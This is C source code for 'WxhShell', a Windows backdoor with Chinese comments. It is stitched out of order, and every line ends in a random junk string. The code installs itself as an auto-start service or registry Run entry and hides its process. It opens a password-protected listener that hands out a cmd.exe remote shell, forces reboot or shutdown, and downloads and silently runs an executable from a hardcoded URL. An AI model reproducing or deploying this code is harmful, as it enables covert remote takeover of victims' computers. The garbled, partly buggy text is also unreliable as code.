    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OydwE  
    if(Boot(SHUTDOWN)) v}Fr@0%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O1mKe%'|  
    else { ""|Qtubv  
    closesocket(wsh); *=c1d o%F  
    ExitThread(0); @|%2f@h  
    } XvlU*TO~(~  
    break; # N cK X  
    } Z)aUt Srf  
  // 获取shell fwf$Co+R:*  
  case 's': { LE>]8[ f6S  
    CmdShell(wsh); abLnI =W`  
    closesocket(wsh); ( ICd}  
    ExitThread(0); j,dR,Nd  
    break; bbyg8;/  
  } hfy_3}_  
  // 退出 "6?0h[uff  
  case 'x': { /~f'}]W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NTI+  
    CloseIt(wsh); }~e%J(  
    break; H+Sz=tg5  
    } 3;s\OW`  
  // 离开 .h4 \Y A  
  case 'q': { Np0u,t%vs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~`:L?Jkb6H  
    closesocket(wsh); 5N&?KA-  
    WSACleanup();  !=P1%  
    exit(1); s}% M4  
    break; P}7'm M  
        } p"ZG%Ow5Q]  
  } P(z++A&  
  }  1HZO9cXJ  
';=O 0)u  
  // 提示信息 =rCIumqD-}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pD#rnp>WWt  
} [mGLcg6Fw  
  } M1iS(x  
uGEfIy 2  
  return; V /V9B2.$  
}  O+Y6N  
o$lM$E:  
// shell模块句柄 |2n4QBH!  
int CmdShell(SOCKET sock) sI^Xb@'09$  
{ P! #[mio  
STARTUPINFO si; DG:Z=LuJr  
ZeroMemory(&si,sizeof(si)); )C]g ld;8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y^EcQzLw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pohp&Tcm  
PROCESS_INFORMATION ProcessInfo; y ~!Zg}o  
char cmdline[]="cmd"; 8i#2d1O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f5VLw`m}.8  
  return 0; sZ/v^ xk  
} .Od !0(0  
MXNFlP  
// 自身启动模式 DKJmTH]rUg  
int StartFromService(void) %%gc2s  
{ ~^fZx5  
typedef struct dufu|BL|}  
{ UJ7*j%XQz_  
  DWORD ExitStatus; ywm8N%]v  
  DWORD PebBaseAddress; hVAn>_(  
  DWORD AffinityMask; tq6!`L}3  
  DWORD BasePriority; ex (.=X 1  
  ULONG UniqueProcessId; BdblLUGK#  
  ULONG InheritedFromUniqueProcessId; Y}|X|!0x  
}   PROCESS_BASIC_INFORMATION; -23w2Qt  
gS]@I0y8 .  
PROCNTQSIP NtQueryInformationProcess; &n}f?  
D_^ nI:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]uJ"?k=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *>'V1b4}  
<~'"<HwtK  
  HANDLE             hProcess; as4;:  
  PROCESS_BASIC_INFORMATION pbi; tla 5B_  
j2.|ln"!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hl(hJfp  
  if(NULL == hInst ) return 0; )SRefW.v  
QP8Ei~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u jq=F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9gEwh<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Eog0TQ+*  
)E@.!Ut4o  
  if (!NtQueryInformationProcess) return 0; u4F5h PO]  
>#~& -3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >j(_[z|v3  
  if(!hProcess) return 0; cr?Q[8%t1  
(\hx` Yh=>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7#ibN!  
q#ClnG*  
  CloseHandle(hProcess); Ou!2 [oe@M  
X0H!/SlS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {V$|3m>:*  
if(hProcess==NULL) return 0; xPk8$1meZM  
}c`"_L  
HMODULE hMod; #Z`q+@@ ]A  
char procName[255]; AFDq}*2Qb  
unsigned long cbNeeded; i6tf2oqO7  
o_Z5@F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K&ZtRRDd  
.4M.y:F  
  CloseHandle(hProcess); so)[59M7  
&5spTMw8  
if(strstr(procName,"services")) return 1; // 以服务启动 x?p1 HUK  
@qqg e'  
  return 0; // 注册表启动 6YLj^w] %  
} )72+\C[*~r  
YY((V@|K  
// 主模块 nE&@Q  
int StartWxhshell(LPSTR lpCmdLine) 1s2>C!\  
{ EQyC1j  
  SOCKET wsl; RO VW s/  
BOOL val=TRUE; C]eSizS.  
  int port=0; 4Lh!8g=/  
  struct sockaddr_in door; [.8BTj1%  
&Gn 2tr  
  if(wscfg.ws_autoins) Install(); t?ZI".>  
m!4ndO;0vh  
port=atoi(lpCmdLine); lL3kh J:%  
uK#4(eY=W  
if(port<=0) port=wscfg.ws_port; gA5/,wDO  
!M]uL&:  
  WSADATA data; $L>@Ed<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iNz=e=+Si  
}~j lj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?m=N]!n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :q7Wy&ow  
  door.sin_family = AF_INET; a| x.C6P e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !t %j?\f  
  door.sin_port = htons(port); /W30~y  
;| 5F[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wj<6kG  
closesocket(wsl); [f-?y mmT  
return 1; p2[n$61   
} N/'b$m5= S  
gQelD6c  
  if(listen(wsl,2) == INVALID_SOCKET) { %lx!. G  
closesocket(wsl); b8VTo lJ  
return 1; }wjw:M  
} cAqLE\h  
  Wxhshell(wsl); TnOggpQ6X  
  WSACleanup(); `$<.pOm  
Nk 8B_{  
return 0; ?.-wnz  
/-qNh >v4  
} k&q;JyUi  
ufZDF=$7  
// 以NT服务方式启动 VT`^W Hu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @R"JW\bd  
{ n;C :0  
DWORD   status = 0; GPv1fearl  
  DWORD   specificError = 0xfffffff; #s( BuVU  
S9D<8j^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oUr66a/[U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $q{!5-e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8oseYH  
  serviceStatus.dwWin32ExitCode     = 0; rgv?gaQ>  
  serviceStatus.dwServiceSpecificExitCode = 0; o5O#vW2Il&  
  serviceStatus.dwCheckPoint       = 0; (k)v!O-  
  serviceStatus.dwWaitHint       = 0; k[YS8g-Q  
z`}qkbvi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *3FKt&v 0  
  if (hServiceStatusHandle==0) return; 2'\H\|  
dNH08q8P  
status = GetLastError(); g \:[ 55;8  
  if (status!=NO_ERROR) 1~`fVg  
{ `pS9_ NYZ}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uc\Kg1{  
    serviceStatus.dwCheckPoint       = 0; \<>ih)J@tt  
    serviceStatus.dwWaitHint       = 0; 7wqK>Y1a  
    serviceStatus.dwWin32ExitCode     = status; [`[|l  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~2N"#b&J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _pG-qK  
    return; qLG&WB  
  } RFcv^Xf  
)}(^, Fo c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |O+H[;TB6  
  serviceStatus.dwCheckPoint       = 0; 7#a-u<HF"  
  serviceStatus.dwWaitHint       = 0; .bg~>T+<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~?Pw& K2  
} 6OIte -c  
eA?RK.e  
// 处理NT服务事件,比如:启动、停止 I)[DTCJ~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aCj&O:]=  
{ :#ik. D  
switch(fdwControl) ^|>PA:%  
{ n\D&!y[]F  
case SERVICE_CONTROL_STOP: vX"*4m>b?+  
  serviceStatus.dwWin32ExitCode = 0; ~<5!?6Yt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "| g>'wM*  
  serviceStatus.dwCheckPoint   = 0; @%uUiP0  
  serviceStatus.dwWaitHint     = 0; @ioJ] $o7  
  { E_wCN&`[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ /b2=>  
  } j0aXyLNX  
  return; y9GoPC`z  
case SERVICE_CONTROL_PAUSE: ]^7@}Ce_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]7BvvQ  
  break; #x60xz  
case SERVICE_CONTROL_CONTINUE: 9T9!kb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _Y4` xv0/  
  break; Y =I'czg  
case SERVICE_CONTROL_INTERROGATE: =v&hWjP  
  break; >Q;l(fdj  
}; n'LrQU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [yQt^!;  
} _8J.fT$${  
sb*G!8j  
// 标准应用程序主函数 !;{7-~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HM1Fz\Sf  
{ q~o<*W   
:\c ^*K(9  
// 获取操作系统版本 m? }6)\ob  
OsIsNt=GetOsVer(); p27~>xQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P|E| $)m  
rJ4S%6w  
  // 从命令行安装 FVbb2Y?R  
  if(strpbrk(lpCmdLine,"iI")) Install(); f~R(D0@  
R+z2}}Z!`  
  // 下载执行文件 Y\P8 v  
if(wscfg.ws_downexe) { I;(L%TT `  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7Q9 w?y~c  
  WinExec(wscfg.ws_filenam,SW_HIDE); [ l??A3G  
} 9;u@q%;!k  
?e4YGOe.  
if(!OsIsNt) { Bm<`n;m  
// 如果时win9x,隐藏进程并且设置为注册表启动 ltSU fI  
HideProc(); ,w4(kcg%iQ  
StartWxhshell(lpCmdLine); : *#-%0  
} o5PO =AN  
else rXP,\ ]r+  
  if(StartFromService()) AV]2 euyn  
  // 以服务方式启动 my1@41 H  
  StartServiceCtrlDispatcher(DispatchTable); J yK3{wYS  
else 3;9^  
  // 普通方式启动 WE#^a6  
  StartWxhshell(lpCmdLine); V2EUW!gn 2  
f'RX6$}\1X  
return 0; R) h#Vc(  
} 'JE`(xD  
V=l0(03j~  
V1zmGy  
Gb6'n$g  
=========================================== _N cR)2  
u&vf+6=9Dd  
Hvi49c]]  
2l'6.  
jB2[(  
v{4$D~I  
"  K5h  
t =iIY`Md%  
#include <stdio.h> H%td hu\e  
#include <string.h> (%6P0*  
#include <windows.h> g$-PR37(  
#include <winsock2.h> 9.-S(ZO  
#include <winsvc.h> rs[T=CQ  
#include <urlmon.h> ;[DU%f  
zC!t;*8a  
#pragma comment (lib, "Ws2_32.lib") `U_)98  
#pragma comment (lib, "urlmon.lib") 6d}lw6L  
/{_:{G!Q0  
#define MAX_USER   100 // 最大客户端连接数 tDcT%D {:  
#define BUF_SOCK   200 // sock buffer _TZRVa_  
#define KEY_BUFF   255 // 输入 buffer h438`  
 mq.`X:e  
#define REBOOT     0   // 重启 C< tl/NC  
#define SHUTDOWN   1   // 关机 dZ@63a>>@  
p]TAELy  
#define DEF_PORT   5000 // 监听端口 2%m BK  
2/^3WY1U  
#define REG_LEN     16   // 注册表键长度 </z Eg3F\  
#define SVC_LEN     80   // NT服务名长度 C,r;VyW6BI  
*i%d,w0+  
// 从dll定义API ~36!?&eA8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g3y~bf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @": ^)87  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tyFzSrfc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8GUX{K  
C1)!f j=  
// wxhshell配置信息 J ZS:MFA  
struct WSCFG { r#a=@  
  int ws_port;         // 监听端口 oG\Vxg*  
  char ws_passstr[REG_LEN]; // 口令 SqpaFWr  
  int ws_autoins;       // 安装标记, 1=yes 0=no  =:pJ  
  char ws_regname[REG_LEN]; // 注册表键名 8nV+e~-w  
  char ws_svcname[REG_LEN]; // 服务名 bY:x8fl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XRi8Gpg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q1 97mN+0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 73;GW4,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CD~.z7,LC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xx:"4l.w.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &h/X ku&0  
a`>B Ly5o  
}; U5de@Y  
DvvK^+-~  
// default Wxhshell configuration g2_"zDiw2  
struct WSCFG wscfg={DEF_PORT, onzxx4bax  
    "xuhuanlingzhe", ON(kt3.h  
    1,  qX{+oy5  
    "Wxhshell", F JyT+  
    "Wxhshell", m{HS0l'  
            "WxhShell Service", U Cjld  
    "Wrsky Windows CmdShell Service", g($2Dk_F2  
    "Please Input Your Password: ", NBGH_6DROw  
  1, e\L8oOk#r  
  "http://www.wrsky.com/wxhshell.exe", f-Z/t fC  
  "Wxhshell.exe" 26h21Z16q  
    }; b ]KBgZ  
R\[e!g*I  
// 消息定义模块 sPIn|d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;i+jJ4  
char *msg_ws_prompt="\n\r? for help\n\r#>";  b>ySv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $!t4r  
char *msg_ws_ext="\n\rExit."; Km$\:Xo  
char *msg_ws_end="\n\rQuit."; _t^&Ah*  
char *msg_ws_boot="\n\rReboot..."; bk[!8- b/a  
char *msg_ws_poff="\n\rShutdown..."; NzvXN1_%  
char *msg_ws_down="\n\rSave to "; +I28|*K"  
\9T7A&  
char *msg_ws_err="\n\rErr!"; K$=zi}J W  
char *msg_ws_ok="\n\rOK!"; 6'f;-2  
#H~64/  
char ExeFile[MAX_PATH]; M\BRcz  
int nUser = 0; 0g8NHkM:2a  
HANDLE handles[MAX_USER]; K-Ef%a2#`  
int OsIsNt; ]Y&VT7+Z  
;$g?T~v7  
SERVICE_STATUS       serviceStatus; @r1_U,0e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f/?P514h  
r~['VhI!;E  
// 函数声明 sW\!hW1*x  
int Install(void); S_H+WfIHV'  
int Uninstall(void); RViAwTvY  
int DownloadFile(char *sURL, SOCKET wsh); 8}:nGK|kx  
int Boot(int flag); h<QY5=S F  
void HideProc(void); V0mn4sfs  
int GetOsVer(void); Ny/MJ#Lq  
int Wxhshell(SOCKET wsl); *vMn$,^0h9  
void TalkWithClient(void *cs); )^hbsMhO  
int CmdShell(SOCKET sock); #RLt^$!H  
int StartFromService(void); J{G?-+`  
int StartWxhshell(LPSTR lpCmdLine); C0Z=~Q%  
d<Tc7vg4|U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {' H(g[k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \  Cj7k^  
f|g g  
// 数据结构和表定义 aN3;`~{9  
SERVICE_TABLE_ENTRY DispatchTable[] = ?a]mDx>xh  
{ )4;`^]F  
{wscfg.ws_svcname, NTServiceMain}, +=)+'q]S  
{NULL, NULL} _yR^*}xJb  
}; K3uRs{l|  
u*9V&>o  
// 自我安装 a 1*p*dM#  
int Install(void) ,a? o aPH  
{ veECfR;  
  char svExeFile[MAX_PATH]; 47/iF97  
  HKEY key; tZo} ;|~'  
  strcpy(svExeFile,ExeFile); [Ch.cE_  
7G],T++N  
// 如果是win9x系统,修改注册表设为自启动 klhtKp_p  
if(!OsIsNt) { 2Tppcj v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [2cD:JL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FpU>^'2]  
  RegCloseKey(key); d#wVLmKZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dAj$1Ke  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]]yO1x$Kk  
  RegCloseKey(key); I%Z  
  return 0; 3Zh)]^  
    } lu/ (4ED  
  } BJ(M2|VH  
} OZ;*JR:  
else { =2x^nW  
w4Z'K&d=  
// 如果是NT以上系统,安装为系统服务 7K:PdF>/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \73ch  
if (schSCManager!=0) apxph2yvS  
{ u]@['7  
  SC_HANDLE schService = CreateService wz8yD8M  
  ( ^<AwG=  
  schSCManager, +"VP-s0  
  wscfg.ws_svcname, +"@ .8m  
  wscfg.ws_svcdisp, (7*}-Uy[C  
  SERVICE_ALL_ACCESS, SgOheN-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;A[Q2(w+  
  SERVICE_AUTO_START, $ME)#(  
  SERVICE_ERROR_NORMAL, !|>"o7  
  svExeFile, 0m ? )ROaJ  
  NULL, ~Cjn7  
  NULL, a[TMDU;(/4  
  NULL, T[j,UkgGo  
  NULL, u#SWj,X  
  NULL 3+bt~J0  
  ); Aiea\j Bv  
  if (schService!=0) t#"Grk8Mz&  
  { {l >hMxij  
  CloseServiceHandle(schService); jZ; =so  
  CloseServiceHandle(schSCManager); E4xa[iZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w%sT{(Vd`C  
  strcat(svExeFile,wscfg.ws_svcname); LreP4dRe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y nZiT e@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /u+e0BHo  
  RegCloseKey(key); n'w.; q  
  return 0; ReeH@.74  
    } :\U{_@?`%  
  } g=o4Q< #^y  
  CloseServiceHandle(schSCManager); po7qmLq  
} v*yuE5{  
} #3d(M  
sp`Dvqx0  
return 1; " 2Dngw  
} f y8Uk;  
*uvQ\.  
// 自我卸载 )sp+8  
int Uninstall(void) FC"8#*x  
{ _wL BA^d^  
  HKEY key; WMg~Y"W  
lb1Xsgm{  
if(!OsIsNt) { { [>Kob1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s"?3]P  
  RegDeleteValue(key,wscfg.ws_regname); sn>~O4"  
  RegCloseKey(key); }:#P)8/v>%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WMP,\=6k0  
  RegDeleteValue(key,wscfg.ws_regname); ,6W>can  
  RegCloseKey(key); HUOj0T  
  return 0; B?o7e<l[  
  } #cLBQJq  
} N)>ID(}F1  
} wH6aAV~1  
else { 76` .Y  
,,|^%Ct']  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ei5~&  
if (schSCManager!=0) n?K  
{ ^/=KK:n~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T9q-,w/j;  
  if (schService!=0) aFIw=c(nP  
  { W`*r>`krVJ  
  if(DeleteService(schService)!=0) { &]-DqK7  
  CloseServiceHandle(schService); & "B=/-(  
  CloseServiceHandle(schSCManager); D7qOZlX16  
  return 0; .XhrCi Z  
  } :P=(k2  
  CloseServiceHandle(schService); IdxzE_@  
  } w)jISu;RG  
  CloseServiceHandle(schSCManager); pcI uN  
} ]"1DGg \A  
} HLHz2-lI  
x3eZ^8^1}  
return 1; f'3$9x  
} VgS_s k  
rk)`\=No  
// 从指定url下载文件 dcWD(-  
int DownloadFile(char *sURL, SOCKET wsh) y$R_.KbO  
{ ##4HYQ%E  
  HRESULT hr; t<?,F  
char seps[]= "/"; )sQ*Rd@t[8  
char *token; fa2kG&, _  
char *file; m<2M4u   
char myURL[MAX_PATH]; BJo*'US-Q  
char myFILE[MAX_PATH]; ?5 [=(\/.  
W'u>#  
strcpy(myURL,sURL); vEz"xz1j!]  
  token=strtok(myURL,seps); ib791  
  while(token!=NULL) xFg>SJ7]  
  { wo 5   
    file=token; S?BG_J6A7  
  token=strtok(NULL,seps); 26x[X.C:  
  } 1 I",L&S1  
{P#|zp4C{  
GetCurrentDirectory(MAX_PATH,myFILE); U\!X,a*ts{  
strcat(myFILE, "\\"); CQDkFQq-dq  
strcat(myFILE, file); -1ub^feJ,  
  send(wsh,myFILE,strlen(myFILE),0); n>U5R_T  
send(wsh,"...",3,0); 6/dI6C!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4]}'Hln*U  
  if(hr==S_OK) H~z`]5CN  
return 0; mXfXO*Cnp  
else 6Sn.I1Wy  
return 1; QUQ'3  
0}dpK $.  
} Tc3yS(aq  
liz~7RY4  
// 系统电源模块 WvZ8/T'x  
int Boot(int flag) 0NX,QD  
{ ?p8_AL'RS  
  HANDLE hToken; ?= fyc1  
  TOKEN_PRIVILEGES tkp; 4x[S\,20  
.y:U&Rw4  
  if(OsIsNt) { ?#UO./"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SGlNKA},A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q#[9|A9  
    tkp.PrivilegeCount = 1; fw{gx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {h`uV/5@`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xh;#  
if(flag==REBOOT) { gEE\y{y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ] {HI?V  
  return 0; Alw3\_X  
} K0Fh%Y4)QH  
else { h>OfOx/{q9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G+|` 2an  
  return 0; -4_$ln w$  
} xe&i^+i  
  } dL )<% o  
  else { }Y36C.@H  
if(flag==REBOOT) { (0y~%J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s#=7IH30  
  return 0; @@ %.t|=  
} e(=w(;84  
else { (,Df^4%7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )gy!GK  
  return 0; Jz *;q~  
} \7'{g@C(  
} $aXer:  
U2s /2 [.  
return 1; G,Azm }+  
} K?$^@ N  
* *G9H  
// win9x进程隐藏模块 {8,J@9NU  
void HideProc(void) Y#$%iF  
{ ,f;}|d:r  
2Dj%,gaR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :@A9](gI  
  if ( hKernel != NULL ) _8UDT^?8,  
  { u.Tcg^v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v^iL5y!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yFlm[K5YD  
    FreeLibrary(hKernel); 9.B KI/  
  } oc0G |  
A`o8'+`C  
return; 7CTFOAx#  
} |3yL&"  
oJ|j#+Ft  
// 获取操作系统版本 SPmq4  
int GetOsVer(void) eb"5- 0  
{ ZlzjVU/E  
  OSVERSIONINFO winfo; ptxbDzOz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JKGe"  
  GetVersionEx(&winfo); Jd^,]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yT9@!]^L  
  return 1; % 0+j?>#X  
  else 1gN=-AC  
  return 0; !LN?PKJ  
} s'J:f$flS  
g:Xhw$x9  
// 客户端句柄模块 d;9FB[MmOJ  
int Wxhshell(SOCKET wsl) ls:w8 &`*  
{ ~d*(=G  
  SOCKET wsh; p/@smke  
  struct sockaddr_in client; 74k dsgQf  
  DWORD myID; s 3f-7f<  
O]Qd<%V'x  
  while(nUser<MAX_USER) 3Xy-r=N.l  
{ s?,Ek  
  int nSize=sizeof(client); Opc ZU{4 b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0eu$ W  
  if(wsh==INVALID_SOCKET) return 1; 3r."j2$Hs0  
zz4N5["  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ktBj|-'>  
if(handles[nUser]==0) s6.M\^  
  closesocket(wsh); @Y<bwv  
else ;{tj2m,  
  nUser++; x%!s:LVX  
  } f-G :uI_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c*L\_Vx+  
iq( E'`d  
  return 0; EkNunCls  
} @? QoF#D  
jeH~<t{  
// 关闭 socket .Blf5b  
void CloseIt(SOCKET wsh) L4z ~B!uvF  
{ ww $  
closesocket(wsh); qPy1;maXP  
nUser--; qUGC" <W  
ExitThread(0); };jN\x?&q  
} (VEpVn3{  
e MY<uqdw  
// 客户端请求句柄 A5R<p+t6  
void TalkWithClient(void *cs) xQXXC|T  
{ 8hJ%JEzga  
RA'M8:$  
  SOCKET wsh=(SOCKET)cs; $jI3VB  
  char pwd[SVC_LEN]; >$7v ;Q  
  char cmd[KEY_BUFF]; f"SD/]q-  
char chr[1]; %r}{hq4  
int i,j; J1sv[$9  
,J^b0@S  
  while (nUser < MAX_USER) { "haL  
dj7hx"BI  
if(wscfg.ws_passstr) { 6GSI"M6s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LzXmb 7A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6NM:DI\%  
  //ZeroMemory(pwd,KEY_BUFF); !y:v LB#q  
      i=0; dP<=BcH>f  
  while(i<SVC_LEN) { iwp{%FF  
CpeU5 o@  
  // 设置超时 4N zwE(  
  fd_set FdRead; -$jEfi4I  
  struct timeval TimeOut; W~~7 C,!  
  FD_ZERO(&FdRead); ;HJLs2bP  
  FD_SET(wsh,&FdRead); P.;aMRMR  
  TimeOut.tv_sec=8; u:gN?O/G  
  TimeOut.tv_usec=0; 9- YwkK#z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MmnOHN@.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B9$jSD  
9m<jcxla$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PHXZ=A+  
  pwd=chr[0]; &cHV7  
  if(chr[0]==0xd || chr[0]==0xa) { o9%)D<4M  
  pwd=0; bM!_e3ik;  
  break; ;/fF,L{c  
  } X>(TrdK_9"  
  i++; ~yfNxH~k  
    } n}_JB>i~  
?Exv|e  
  // 如果是非法用户,关闭 socket B~JwHwIhA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~&8^9E a  
} 4c$ zKqz  
4UlyxA~   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mdmvT~`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !tMuuK?IL=  
BJB^m|b)  
while(1) { D2!X?"[ P  
UAFwi%@!-q  
  ZeroMemory(cmd,KEY_BUFF); x:>wUhzZ  
E^lvbLh'  
      // 自动支持客户端 telnet标准   Wm"4Ae:B  
  j=0; + SFVv_n  
  while(j<KEY_BUFF) { I)cFG{~L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f3&[#%  
  cmd[j]=chr[0]; iZNts%Y]  
  if(chr[0]==0xa || chr[0]==0xd) { D 38$`j  
  cmd[j]=0; Y/ >&0wj)d  
  break; X4AyX.p  
  } ZP *q4:  
  j++; sCis4gX.]  
    } )5%'.P>  
RIXMJ7e7  
  // 下载文件 RHq/JD-  
  if(strstr(cmd,"http://")) { Z!@~>i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *-q"3 D`  
  if(DownloadFile(cmd,wsh)) Nq` C.&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P8>d6;o($  
  else xA 1hfe.9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WZ7BoDa7O  
  } r>"   
  else { 7_Z#m (  
